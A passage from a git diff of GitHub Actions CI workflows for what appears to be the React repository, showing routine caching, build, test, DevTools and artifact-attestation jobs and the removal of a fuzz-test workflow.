+      - name: Restore cached node_modules
+        uses: actions/cache@v4
+        id: node_modules
+        with:
+          path: |
+            **/node_modules
+          key: runtime-release-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock', 'scripts/release/yarn.lock') }}
+      - name: Ensure clean build directory
+        run: rm -rf build
+      - run: yarn install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - run: yarn --cwd scripts/release install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - name: Download react-devtools artifacts for base revision
+        run: |
+          git fetch origin main
+          GH_TOKEN=${{ github.token }} scripts/release/download-experimental-build.js --commit=${{ inputs.commit_sha || '$(git rev-parse origin/main)' }}
+      - name: Display structure of build
+        run: ls -R build
+      - name: Archive build
+        uses: actions/upload-artifact@v4
+        with:
+          name: build
+          path: build
+          if-no-files-found: error
+
+  build_devtools_and_process_artifacts:
+    name: Build DevTools and process artifacts
+    needs: download_build
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+          cache: yarn
+          cache-dependency-path: yarn.lock
+      - name: Restore cached node_modules
+        uses: actions/cache@v4
+        id: node_modules
+        with:
+          path: |
+            **/node_modules
+          key: runtime-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}
+      - name: Ensure clean build directory
+        run: rm -rf build
+      - run: yarn install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - name: Restore archived build
+        uses: actions/download-artifact@v4
+        with:
+          name: build
+          path: build
+      - run: ./scripts/ci/pack_and_store_devtools_artifacts.sh
+        env:
+          RELEASE_CHANNEL: experimental
+      - name: Display structure of build
+        run: ls -R build
+      - name: Archive devtools build
+        uses: actions/upload-artifact@v4
+        with:
+          name: react-devtools
+          path: build/devtools
+          if-no-files-found: error
+      # Simplifies getting the extension for local testing
+      - name: Archive chrome extension
+        uses: actions/upload-artifact@v4
+        with:
+          name: react-devtools-chrome-extension
+          path: build/devtools/chrome-extension.zip
+          if-no-files-found: error
+      - name: Archive firefox extension
+        uses: actions/upload-artifact@v4
+        with:
+          name: react-devtools-firefox-extension
+          path: build/devtools/firefox-extension.zip
+          if-no-files-found: error
+
+  run_devtools_tests_for_versions:
+    name: Run DevTools tests for versions
+    needs: build_devtools_and_process_artifacts
+    runs-on: ubuntu-latest
+    strategy:
+      fail-fast: false
+      matrix:
+        version:
+          - "16.0"
+          - "16.5" # schedule package
+          - "16.8" # hooks
+          - "17.0"
+          - "18.0"
+          - "18.2" # compiler polyfill
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+          cache: yarn
+          cache-dependency-path: yarn.lock
+      - name: Restore cached node_modules
+        uses: actions/cache@v4
+        id: node_modules
+        with:
+          path: |
+            **/node_modules
+          key: runtime-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}
+      - run: yarn install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - name: Restore all archived build artifacts
+        uses: actions/download-artifact@v4
+      - name: Display structure of build
+        run: ls -R build
+      - run: ./scripts/ci/download_devtools_regression_build.js ${{ matrix.version }} --replaceBuild
+      - run: node ./scripts/jest/jest-cli.js --build --project devtools --release-channel=experimental --reactVersion ${{ matrix.version }} --ci
+
+  run_devtools_e2e_tests_for_versions:
+    name: Run DevTools e2e tests for versions
+    needs: build_devtools_and_process_artifacts
+    runs-on: ubuntu-latest
+    strategy:
+      fail-fast: false
+      matrix:
+        version:
+          - "16.0"
+          - "16.5" # schedule package
+          - "16.8" # hooks
+          - "17.0"
+          - "18.0"
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+          cache: yarn
+          cache-dependency-path: yarn.lock
+      - name: Restore cached node_modules
+        uses: actions/cache@v4
+        id: node_modules
+        with:
+          path: |
+            **/node_modules
+          key: runtime-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}
+      - run: yarn install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - name: Restore all archived build artifacts
+        uses: actions/download-artifact@v4
+      - name: Display structure of build
+        run: ls -R build
+      - name: Check Playwright version
+        id: playwright_version
+        run: echo "playwright_version=$(npm ls @playwright/test | grep @playwright | sed 's/.*@//' | head -1)" >> "$GITHUB_OUTPUT"
+      - name: Cache Playwright Browsers for version ${{ steps.playwright_version.outputs.playwright_version }}
+        id: cache_playwright_browsers
+        uses: actions/cache@v4
+        with:
+          path: ~/.cache/ms-playwright
+          key: playwright-browsers-v6-${{ runner.arch }}-${{ runner.os }}-${{ steps.playwright_version.outputs.playwright_version }}
+      - run: npx playwright install --with-deps
+        if: steps.cache_playwright_browsers.outputs.cache-hit != 'true'
+      - run: npx playwright install-deps
+        if: steps.cache_playwright_browsers.outputs.cache-hit == 'true'
+      - run: ./scripts/ci/download_devtools_regression_build.js ${{ matrix.version }}
+      - run: ls -R build-regression
+      - run: ./scripts/ci/run_devtools_e2e_tests.js ${{ matrix.version }}
+        env:
+          RELEASE_CHANNEL: experimental
+      - name: Cleanup build regression folder
+        run: rm -r ./build-regression
+      - uses: actions/upload-artifact@v4
+        with:
+          name: screenshots
+          path: ./tmp/playwright-artifacts
+          if-no-files-found: warn
diff --git a/.github/workflows/fuzz_tests.yml b/.github/workflows/fuzz_tests.yml
deleted file mode 100644
index 492dd7dc4c81..000000000000
--- a/.github/workflows/fuzz_tests.yml
+++ /dev/null
@@ -1,32 +0,0 @@
-name: facebook/react/fuzz_tests
-on:
-  schedule:
-  - cron: 0 * * * *
-  push:
-    branches:
-      - main
-  workflow_dispatch:
-    inputs:
-      prerelease_commit_sha:
-        required: false
-jobs:
-  test_fuzz:
-    if: inputs.prerelease_commit_sha == ''
-    runs-on: ubuntu-latest
-    env:
-      TZ: "/usr/share/zoneinfo/America/Los_Angeles"
-    steps:
-    - uses: actions/checkout@v4.1.0
-    - uses: actions/setup-node@v4
-      with:
-        node-version-file: '.nvmrc'
-        cache: 'yarn'
-    - name: Install dependencies
-      run: yarn install --frozen-lockfile
-      env:
-        ELECTRON_SKIP_BINARY_DOWNLOAD: "1"
-      shell: bash
-    - name: Run fuzz tests
-      run: |-
-        FUZZ_TEST_SEED=$RANDOM yarn test fuzz --ci
-        FUZZ_TEST_SEED=$RANDOM yarn test --prod fuzz --ci
diff --git a/.github/workflows/runtime_build_and_test.yml b/.github/workflows/runtime_build_and_test.yml
new file mode 100644
index 000000000000..3eec5f90bee3
--- /dev/null
+++ b/.github/workflows/runtime_build_and_test.yml
@@ -0,0 +1,933 @@
+name: (Runtime) Build and Test
+
+on:
+  push:
+    branches: [main]
+    tags:
+      # To get CI for backport releases.
+      # This will duplicate CI for releases from main which is acceptable
+      - "v*"
+  pull_request:
+    paths-ignore:
+      - compiler/**
+  workflow_dispatch:
+    inputs:
+      commit_sha:
+        required: false
+        type: string
+        default: ''
+
+permissions: {}
+
+concurrency:
+  group: ${{ github.workflow }}-${{ github.ref_name }}-${{ github.event.pull_request.number || github.run_id }}
+  cancel-in-progress: true
+
+env:
+  TZ: /usr/share/zoneinfo/America/Los_Angeles
+  # https://github.com/actions/cache/blob/main/tips-and-workarounds.md#cache-segment-restore-timeout
+  SEGMENT_DOWNLOAD_TIMEOUT_MINS: 1
+
+jobs:
+  # ----- NODE_MODULES CACHE -----
+  # Centralize the node_modules cache so it is saved once and each subsequent job only needs to
+  # restore the cache. Prevents race conditions where multiple workflows try to write to the cache.
+  runtime_node_modules_cache:
+    name: Cache Runtime node_modules
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}
+      - name: Check cache hit
+        uses: actions/cache/restore@v4
+        id: node_modules
+        with:
+          path: |
+            **/node_modules
+          key: runtime-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}
+          lookup-only: true
+      - uses: actions/setup-node@v4
+        if: steps.node_modules.outputs.cache-hit != 'true'
+        with:
+          node-version-file: '.nvmrc'
+          cache: yarn
+          cache-dependency-path: yarn.lock
+      - name: Warm with old cache
+        if: steps.node_modules.outputs.cache-hit != 'true'
+        uses: actions/cache/restore@v4
+        with:
+          path: |
+            **/node_modules
+          key: runtime-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}
+          # Don't use restore-keys here. Otherwise the cache grows indefinitely.
+      - run: yarn install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - name: Save cache
+        if: steps.node_modules.outputs.cache-hit != 'true'
+        uses: actions/cache/save@v4
+        with:
+          path: |
+            **/node_modules
+          key: runtime-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}
+
+  runtime_compiler_node_modules_cache:
+    name: Cache Runtime, Compiler node_modules
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}
+      - name: Check cache hit
+        uses: actions/cache/restore@v4
+        id: node_modules
+        with:
+          path: |
+            **/node_modules
+          key: runtime-and-compiler-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock', 'compiler/yarn.lock') }}
+          lookup-only: true
+      - uses: actions/setup-node@v4
+        if: steps.node_modules.outputs.cache-hit != 'true'
+        with:
+          node-version-file: '.nvmrc'
+          cache: yarn
+          cache-dependency-path: |
+            yarn.lock
+            compiler/yarn.lock
+      - name: Warm with old cache
+        if: steps.node_modules.outputs.cache-hit != 'true'
+        uses: actions/cache/restore@v4
+        with:
+          path: |
+            **/node_modules
+          key: runtime-and-compiler-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock', 'compiler/yarn.lock') }}
+          # Don't use restore-keys here. Otherwise the cache grows indefinitely.
+      - run: yarn install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - run: yarn --cwd compiler install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - name: Save cache
+        if: steps.node_modules.outputs.cache-hit != 'true'
+        uses: actions/cache/save@v4
+        with:
+          path: |
+            **/node_modules
+          key: runtime-and-compiler-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock', 'compiler/yarn.lock') }}
+
+  # ----- FLOW -----
+  discover_flow_inline_configs:
+    name: Discover flow inline configs
+    runs-on: ubuntu-latest
+    outputs:
+      matrix: ${{ steps.set-matrix.outputs.result }}
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}
+      - uses: actions/github-script@v7
+        id: set-matrix
+        with:
+          script: |
+            const inlinedHostConfigs = require('./scripts/shared/inlinedHostConfigs.js');
+            return inlinedHostConfigs.map(config => config.shortName);
+
+  flow:
+    name: Flow check ${{ matrix.flow_inline_config_shortname }}
+    needs: [discover_flow_inline_configs, runtime_node_modules_cache]
+    runs-on: ubuntu-latest
+    strategy:
+      fail-fast: false
+      matrix:
+        flow_inline_config_shortname: ${{ fromJSON(needs.discover_flow_inline_configs.outputs.matrix) }}
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+          cache: yarn
+          cache-dependency-path: yarn.lock
+      - name: Restore cached node_modules
+        uses: actions/cache/restore@v4
+        id: node_modules
+        with:
+          path: |
+            **/node_modules
+          key: runtime-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}
+          # Don't use restore-keys here. Otherwise the cache grows indefinitely.
+      - name: Ensure clean build directory
+        run: rm -rf build
+      - run: yarn install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - run: node ./scripts/tasks/flow-ci ${{ matrix.flow_inline_config_shortname }}
+
+  # ----- FIZZ -----
+  check_generated_fizz_runtime:
+    name: Confirm generated inline Fizz runtime is up to date
+    needs: [runtime_node_modules_cache]
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+          cache: yarn
+          cache-dependency-path: yarn.lock
+      - name: Restore cached node_modules
+        uses: actions/cache/restore@v4
+        id: node_modules
+        with:
+          path: |
+            **/node_modules
+          key: runtime-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}
+          # Don't use restore-keys here. Otherwise the cache grows indefinitely.
+      - name: Ensure clean build directory
+        run: rm -rf build
+      - run: yarn install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - run: |
+          yarn generate-inline-fizz-runtime
+          git diff --exit-code || (echo "There was a change to the Fizz runtime. Run \`yarn generate-inline-fizz-runtime\` and check in the result." && false)
+
+  # ----- FEATURE FLAGS -----
+  flags:
+    name: Check flags
+    needs: [runtime_node_modules_cache]
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+          cache: yarn
+          cache-dependency-path: yarn.lock
+      - name: Restore cached node_modules
+        uses: actions/cache/restore@v4
+        id: node_modules
+        with:
+          path: |
+            **/node_modules
+          key: runtime-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}
+      - name: Ensure clean build directory
+        run: rm -rf build
+      - run: yarn install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - run: yarn flags
+
+  # ----- TESTS -----
+  test:
+    name: yarn test ${{ matrix.params }} (Shard ${{ matrix.shard }})
+    needs: [runtime_compiler_node_modules_cache]
+    runs-on: ubuntu-latest
+    strategy:
+      fail-fast: false
+      matrix:
+        params:
+          - "-r=stable --env=development"
+          - "-r=stable --env=production"
+          - "-r=experimental --env=development"
+          - "-r=experimental --env=production"
+          - "-r=www-classic --env=development --variant=false"
+          - "-r=www-classic --env=production --variant=false"
+          - "-r=www-classic --env=development --variant=true"
+          - "-r=www-classic --env=production --variant=true"
+          - "-r=www-modern --env=development --variant=false"
+          - "-r=www-modern --env=production --variant=false"
+          - "-r=www-modern --env=development --variant=true"
+          - "-r=www-modern --env=production --variant=true"
+          - "-r=xplat --env=development --variant=false"
+          - "-r=xplat --env=development --variant=true"
+          - "-r=xplat --env=production --variant=false"
+          - "-r=xplat --env=production --variant=true"
+          # TODO: Test more persistent configurations?
+          - "-r=stable --env=development --persistent"
+          - "-r=experimental --env=development --persistent"
+        shard:
+          - 1/5
+          - 2/5
+          - 3/5
+          - 4/5
+          - 5/5
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+          cache: yarn
+          cache-dependency-path: |
+            yarn.lock
+            compiler/yarn.lock
+      - name: Restore cached node_modules
+        uses: actions/cache/restore@v4
+        id: node_modules
+        with:
+          path: |
+            **/node_modules
+          key: runtime-and-compiler-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock', 'compiler/yarn.lock') }}
+          # Don't use restore-keys here. Otherwise the cache grows indefinitely.
+      - name: Ensure clean build directory
+        run: rm -rf build
+      - run: yarn install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - run: yarn --cwd compiler install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - run: node --version
+      - run: yarn test ${{ matrix.params }} --ci --shard=${{ matrix.shard }}
+
+  # Hardcoded to improve parallelism
+  test-linter:
+    name: Test eslint-plugin-react-hooks
+    needs: [runtime_compiler_node_modules_cache]
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+          cache: yarn
+          cache-dependency-path:  |
+            yarn.lock
+            compiler/yarn.lock
+      - name: Restore cached node_modules
+        uses: actions/cache@v4
+        id: node_modules
+        with:
+          path: |
+            **/node_modules
+          key: runtime-and-compiler-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock', 'compiler/yarn.lock') }}
+      - name: Install runtime dependencies
+        run: yarn install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - name: Install compiler dependencies
+        run: yarn install --frozen-lockfile
+        working-directory: compiler
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - run: ./scripts/react-compiler/build-compiler.sh && ./scripts/react-compiler/link-compiler.sh
+      - run: yarn workspace eslint-plugin-react-hooks test
+
+  # ----- BUILD -----
+  build_and_lint:
+    name: yarn build and lint
+    needs: [runtime_compiler_node_modules_cache]
+    runs-on: ubuntu-latest
+    strategy:
+      fail-fast: false
+      matrix:
+        # yml is dumb. update the --total arg to yarn build if you change the number of workers
+        worker_id: [0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24]
+        release_channel: [stable, experimental]
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+          cache: yarn
+          cache-dependency-path: |
+            yarn.lock
+            compiler/yarn.lock
+      - uses: actions/setup-java@v4
+        with:
+          distribution: temurin
+          java-version: 11.0.22
+      - name: Restore cached node_modules
+        uses: actions/cache/restore@v4
+        id: node_modules
+        with:
+          path: |
+            **/node_modules
+          key: runtime-and-compiler-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock', 'compiler/yarn.lock') }}
+          # Don't use restore-keys here. Otherwise the cache grows indefinitely.
+      - name: Ensure clean build directory
+        run: rm -rf build
+      - run: yarn install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - run: yarn --cwd compiler install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - run: yarn build --index=${{ matrix.worker_id }} --total=25 --r=${{ matrix.release_channel }} --ci
+        env:
+          CI: github
+          RELEASE_CHANNEL: ${{ matrix.release_channel }}
+          NODE_INDEX: ${{ matrix.worker_id }}
+      - name: Lint build
+        run: yarn lint-build
+      - name: Display structure of build
+        run: ls -R build
+      - name: Archive build
+        uses: actions/upload-artifact@v4
+        with:
+          name: _build_${{ matrix.worker_id }}_${{ matrix.release_channel }}
+          path: build
+          if-no-files-found: error
+
+  test_build:
+    name: yarn test-build
+    needs: [build_and_lint, runtime_compiler_node_modules_cache]
+    strategy:
+      fail-fast: false
+      matrix:
+        test_params: [
+          # Intentionally passing these as strings instead of creating a
+          # separate parameter per CLI argument, since it's easier to
+          # control/see which combinations we want to run.
+          -r=stable --env=development,
+          -r=stable --env=production,
+          -r=experimental --env=development,
+          -r=experimental --env=production,
+
+          # TODO: Update test config to support www build tests
+          # - "-r=www-classic --env=development --variant=false"
+          # - "-r=www-classic --env=production --variant=false"
+          # - "-r=www-classic --env=development --variant=true"
+          # - "-r=www-classic --env=production --variant=true"
+          # - "-r=www-modern --env=development --variant=false"
+          # - "-r=www-modern --env=production --variant=false"
+          # - "-r=www-modern --env=development --variant=true"
+          # - "-r=www-modern --env=production --variant=true"
+
+          # TODO: Update test config to support xplat build tests
+          # - "-r=xplat --env=development --variant=false"
+          # - "-r=xplat --env=development --variant=true"
+          # - "-r=xplat --env=production --variant=false"
+          # - "-r=xplat --env=production --variant=true"
+
+          # TODO: Test more persistent configurations?
+        ]
+        shard:
+          - 1/10
+          - 2/10
+          - 3/10
+          - 4/10
+          - 5/10
+          - 6/10
+          - 7/10
+          - 8/10
+          - 9/10
+          - 10/10
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+          cache: yarn
+          cache-dependency-path: |
+            yarn.lock
+            compiler/yarn.lock
+      - name: Restore cached node_modules
+        uses: actions/cache/restore@v4
+        id: node_modules
+        with:
+          path: |
+            **/node_modules
+          key: runtime-and-compiler-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock', 'compiler/yarn.lock') }}
+          # Don't use restore-keys here. Otherwise the cache grows indefinitely.
+      - name: Ensure clean build directory
+        run: rm -rf build
+      - run: yarn install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - run: yarn --cwd compiler install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - name: Restore archived build
+        uses: actions/download-artifact@v4
+        with:
+          pattern: _build_*
+          path: build
+          merge-multiple: true
+      - name: Display structure of build
+        run: ls -R build
+      - run: node --version
+      - run: yarn test --build ${{ matrix.test_params }} --shard=${{ matrix.shard }} --ci
+
+  test_build_devtools:
+    name: yarn test-build (devtools)
+    needs: [build_and_lint, runtime_node_modules_cache]
+    strategy:
+      fail-fast: false
+      matrix:
+        shard:
+          - 1/5
+          - 2/5
+          - 3/5
+          - 4/5
+          - 5/5
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+          cache: yarn
+          cache-dependency-path: yarn.lock
+      - name: Restore cached node_modules
+        uses: actions/cache/restore@v4
+        id: node_modules
+        with:
+          path: |
+            **/node_modules
+          key: runtime-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}
+          # Don't use restore-keys here. Otherwise the cache grows indefinitely.
+      - name: Ensure clean build directory
+        run: rm -rf build
+      - run: yarn install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - name: Restore archived build
+        uses: actions/download-artifact@v4
+        with:
+          pattern: _build_*
+          path: build
+          merge-multiple: true
+      - name: Display structure of build
+        run: ls -R build
+      - run: node --version
+      - run: yarn test --build --project=devtools -r=experimental --shard=${{ matrix.shard }} --ci
+
+  process_artifacts_combined:
+    name: Process artifacts combined
+    needs: [build_and_lint, runtime_node_modules_cache]
+    permissions:
+      # https://github.com/actions/attest-build-provenance
+      id-token: write
+      attestations: write
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+          cache: yarn
+          cache-dependency-path: yarn.lock
+      - name: Restore cached node_modules
+        uses: actions/cache/restore@v4
+        id: node_modules
+        with:
+          path: |
+            **/node_modules
+          key: runtime-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}
+          # Don't use restore-keys here. Otherwise the cache grows indefinitely.
+      - name: Ensure clean build directory
+        run: rm -rf build
+      - run: yarn install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - name: Restore archived build
+        uses: actions/download-artifact@v4
+        with:
+          pattern: _build_*
+          path: build
+          merge-multiple: true
+      - name: Display structure of build
+        run: ls -R build
+      - run: echo ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }} >> build/COMMIT_SHA
+      - name: Scrape warning messages
+        run: |
+          mkdir -p ./build/__test_utils__
+          node ./scripts/print-warnings/print-warnings.js > build/__test_utils__/ReactAllWarnings.js
+        # Compress build directory into a single tarball for easy download
+      - run: tar -zcvf ./build.tgz ./build
+        # TODO: Migrate scripts to use `build` directory instead of `build2`
+      - run: cp ./build.tgz ./build2.tgz
+      - name: Archive build artifacts
+        id: upload_artifacts_combined
+        uses: actions/upload-artifact@v4
+        with:
+          name: artifacts_combined
+          path: |
+            ./build.tgz
+            ./build2.tgz
+          if-no-files-found: error
+      - uses: actions/attest-build-provenance@v2
+        # We don't verify builds generated from pull requests not originating from facebook/react.
+        # However, if the PR lands, the run on `main` will generate the attestation which can then
+        # be used to download a build via scripts/release/download-experimental-build.js.
+        #
+        # Note that this means that scripts/release/download-experimental-build.js must be run with
+        # --no-verify when downloading a build from a fork.
+        if: github.event_name == 'push' && github.ref_name == 'main' || github.event.pull_request.head.repo.full_name == github.repository
+        with:
+          subject-name: artifacts_combined.zip
+          subject-digest: sha256:${{ steps.upload_artifacts_combined.outputs.artifact-digest }}
+
+  check_error_codes:
+    name: Search build artifacts for unminified errors
+    needs: [build_and_lint, runtime_node_modules_cache]
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+          cache: yarn
+          cache-dependency-path: yarn.lock
+      - name: Restore cached node_modules
+        uses: actions/cache/restore@v4
+        id: node_modules
+        with:
+          path: |
+            **/node_modules
+          key: runtime-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}
+          # Don't use restore-keys here. Otherwise the cache grows indefinitely.
+      - name: Ensure clean build directory
+        run: rm -rf build
+      - run: yarn install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - name: Restore archived build
+        uses: actions/download-artifact@v4
+        with:
+          pattern: _build_*
+          path: build
+          merge-multiple: true
+      - name: Display structure of build
+        run: ls -R build
+      - name: Search build artifacts for unminified errors
+        run: |
+          yarn extract-errors
+          git diff --exit-code || (echo "Found unminified errors. Either update the error codes map or disable error minification for the affected build, if appropriate." && false)
+
+  check_release_dependencies:
+    name: Check release dependencies
+    needs: [build_and_lint, runtime_node_modules_cache]
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+          cache: yarn
+          cache-dependency-path: yarn.lock
+      - name: Restore cached node_modules
+        uses: actions/cache/restore@v4
+        id: node_modules
+        with:
+          path: |
+            **/node_modules
+          key: runtime-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}
+          # Don't use restore-keys here. Otherwise the cache grows indefinitely.
+      - name: Ensure clean build directory
+        run: rm -rf build
+      - run: yarn install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - name: Restore archived build
+        uses: actions/download-artifact@v4
+        with:
+          pattern: _build_*
+          path: build
+          merge-multiple: true
+      - name: Display structure of build
+        run: ls -R build
+      - run: yarn check-release-dependencies
+
+  RELEASE_CHANNEL_stable_yarn_test_dom_fixtures:
+    name: Check fixtures DOM (stable)
+    needs: build_and_lint
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+          cache: yarn
+          cache-dependency-path: yarn.lock
+      - name: Restore cached node_modules
+        uses: actions/cache@v4 # note: this does not reuse centralized cache since it has unique cache key
+        id: node_modules
+        with:
+          path: |
+            **/node_modules
+          key: fixtures_dom-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock', 'fixtures/dom/yarn.lock') }}
+      - name: Ensure clean build directory
+        run: rm -rf build
+      - run: yarn --cwd fixtures/dom install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - name: Restore archived build
+        uses: actions/download-artifact@v4
+        with:
+          pattern: _build_*
+          path: build
+          merge-multiple: true
+      - name: Display structure of build
+        run: ls -R build
+      - name: Run DOM fixture tests
+        run: |
+          yarn predev
+          yarn test
+        working-directory: fixtures/dom
+        env:
+          RELEASE_CHANNEL: stable
+
+  # ----- FLIGHT -----
+  run_fixtures_flight_tests:
+    name: Run fixtures Flight tests
+    needs: build_and_lint
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+          cache: yarn
+          cache-dependency-path: yarn.lock
+      # Fixture copies some built packages from the workroot after install.
+      # That means dependencies of the built packages are not installed.
+      # We need to install dependencies of the workroot to fulfill all dependency constraints
+      - name: Restore cached node_modules
